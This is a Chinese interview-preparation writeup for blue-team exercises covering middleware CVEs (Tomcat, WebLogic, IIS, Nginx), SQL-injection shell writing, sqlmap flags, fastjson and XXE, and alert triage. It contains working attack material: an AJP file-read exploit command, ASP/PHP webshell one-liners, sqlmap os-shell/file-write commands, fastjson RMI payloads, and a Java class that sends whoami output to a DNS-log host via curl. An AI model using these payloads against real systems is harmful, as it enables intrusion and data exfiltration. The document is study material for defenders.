2024护网面试题(蓝队更新中)
2024护网面试记录(蓝队更新中)
宁云志面试记录
了解过中间件漏洞吗
apache tomcat
文件上传(CVE-2017-12615)
影响版本: Apache Tomcat 7.0.0 – 7.0.81
前提是
Tomcat
开启了HTTP PUT请求漏洞原理:
Tomcat
配置文件/conf/web.xml
配置了可写(readonly=false
),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的.JSP
文件。之后JSP
文件中的代码将能被服务器执行。文件包含(CVE-2020-1938)
影响版本: Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31漏洞原理:
Tomcat
配置了两个连接,它们分别是HTTP
和AJP
:HTTP
默认端口为8080,处理http
请求,而AJP
默认端口8009,用于处理AJP
协议的请求,而AJP
比http
更加优化,多用于反向、集群等,漏洞由于Tomcat AJP
协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp
下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml
Tomcat 后台弱口令
Authorization头,base64加密爆破
然后文件上传
weblogic
T3协议反序列化(CVE-2018-2628)
影响范围:Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3漏洞原理:开放
Weblogic
控制台的7001端口,默认会开启T3
协议服务,T3
协议触发的Weblogic Server WLS Core Components
中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。反序列化RCE(CVE-2019-2725)
影响范围: Weblogic 10.3.6
Weblogic 12.1.3漏洞原理: 核心利用点依旧是weblogic的xmldecoder反序列化漏洞,只是通过构造巧妙的利用链可以对Oracle官方历年来针对这个漏洞点的补丁绕过。
访问
_async/AsyncResponseService
响应200或者访问_async
响应403,则存在弱口令爆破+文件上传
SSRF
影响版本: weblogic10.0.2、10.3.6
漏洞原理: Weblogic的uddi组件实现包中有个ddiexplorer.war文件,其下的SearchPublicReqistries.jsp接口存在SSRF漏洞,可以利用该漏洞可以发送任意HTTP请求,实现攻击内网中Redis等脆弱组件。
f12看前端页面发现引用了外部链接,那么就有可能存在SSRF,然后抓包有个
operator
参数,修改参数值用来探测开放ip端口,确认存在然后就利用Redis实现反弹shell
IIS
PUT文件上传
影响版本: IIS 6.0
漏洞原理: IIS6.0 server在web服务扩展中开启了WebDAV(Web-based Distributed Authoring and Versioning)。WebDAV是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,利用PUT方法可直接向服务器上传恶意文件,控制服务器。
远程代码执行漏洞(CVE-207-7269)
漏洞原理: Microsoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以
If:<http://
开头的长标头执行任意代码PROPFIND请求。7 解析漏洞
漏洞原理: 我们在文件/xino.jpg后面加上/xx.php会将/xino.jpg/xx.php 解析为 php 文件,这样我们就可以在上传的时候写入PHP一句话木马,比如写一个
<?php phpinfo();?>
来查看PHP版本信息6 解析漏洞
漏洞原理: 我们向服务器上传一个文件
111.asp;.jpg
,服务器默认不解析;
后的内容,因此xxx.asp;.jpg
被当做asp文件解析,于是就可以通过这个漏洞来上传木马,比如asp一句话木马<%eval request("111")%>
Nginx(php中间件)
文件名解析漏洞(CVE-2013-4547)
利用条件: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7,php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP
漏洞原理: 主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
比如: 我们请求
1.gif[0x20][0x00].php
,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20]
(这里就是因为\0截断问题),就设置其为SCRIPT_FILENAME的值发送给fastcgi
。我们访问的文件名为
shell.gif[0x20][0x00].php
,该文件名以.php
结尾可以被FastCGI
接收,FastCGI
在读取文件名时被00截断,导致读取的文件名为1.gif[0x20],配合limit_extensions
为空即可利用成功。CRLF注入
漏洞原理: CRLF是“回车+换行”(\r\n)的简称。
HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。
通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行。
目录穿越
漏洞原理: Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录。
SQL注入怎么写入shell
所需条件: root, 知道网站的根路径, 开启
secure_file_priv
功能,要具有读写权限, 用show variables like '%secure%'
来查看。读写文件相关函数和语句:
load_file(file_name)
(读取文件并返回该文件的内容作为一个字符串,但是有条件),LOAD DATA INFILE 'file_path' INTO TABLE table_name[OPTIONS]
(用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串),INTO OUTFILE 'file_name'
(用于将查询结果导出到指定的文件中)。这部分之后专门写一篇好了sqlmap —os -shell
file协议写shell:
sqlmap -u "www.test.com/?id=1" --file-write "本地文件" --file-dest "网站绝对路径+文件名"
sqlmap的参数
这里就说一些比较常用的吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30-v 输出级别(0~6,默认1)
-u 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--technique (B/E/U/S/T) B:布尔 E:报错 U:联合 S:多语句 T:时延/时间盲注fastjson 有哪些漏洞
1.2.24-RCE
这个版本响应是没有提示的,所以只要是用
json
传输的都可以试试,给他传一个json
数据之后它会报错就有可能有,然后就写自己的payload,比如1
2
3
4
5
6
7{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/dnslog",
"autoCommit":true
}
}1.2.47-RCE
这个版本传一个json就会有一个
com.Alibaba.fast.JSON
报错,然后就可以传一个自己的payload1
2
3
4
5
6
7
8
9
10
11{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/dnslog",
"autoCommit":true
}
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15// 这个dnslog的内容
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh","-c","curl `whoami`.your_dnslog_url"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
XXE了解多少
XML外部实体注入,XML是一种标记语言,用于传输文档的元数据,在javaweb中更像是一个配置文件(个人理解)。
XML有一个DTD就那个文档类型定义,它可以定义合法的XML文档构建模块。他那个内部实体声明,就那个
ENTITY
这个实体值可以配合一些协议来整一些东西读取任意文件
1
2
3
4
5
6
7
<root>
<name>&xxe;</name>
</root>执行系统命令
1
2
3
4
5
6
7
<root>
<name>&xxe;</name>
</root>配合
http
协议可以用来探测内网端口,还有攻击内网网站如果安全设备突然来了很多告警怎么办,如何排查
分析流量日志(原地址,目标地址,端口,事件名称,时间,规则ID,发生次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),但如果是内网的ip就需要注意,如果是内网发起的ddos可能是用来模拟内网扫描行为去掩盖真实的内网扫描行为。
告警结合威胁情报库(微步、奇安信威胁情报中心、绿盟威胁情报云等)对流量日志的原IP进行分析,判断是否为恶意攻击。推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报
然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip 可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别
最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源
注: 不要任意忽略内网告警,适当情况下可以往前推排查时间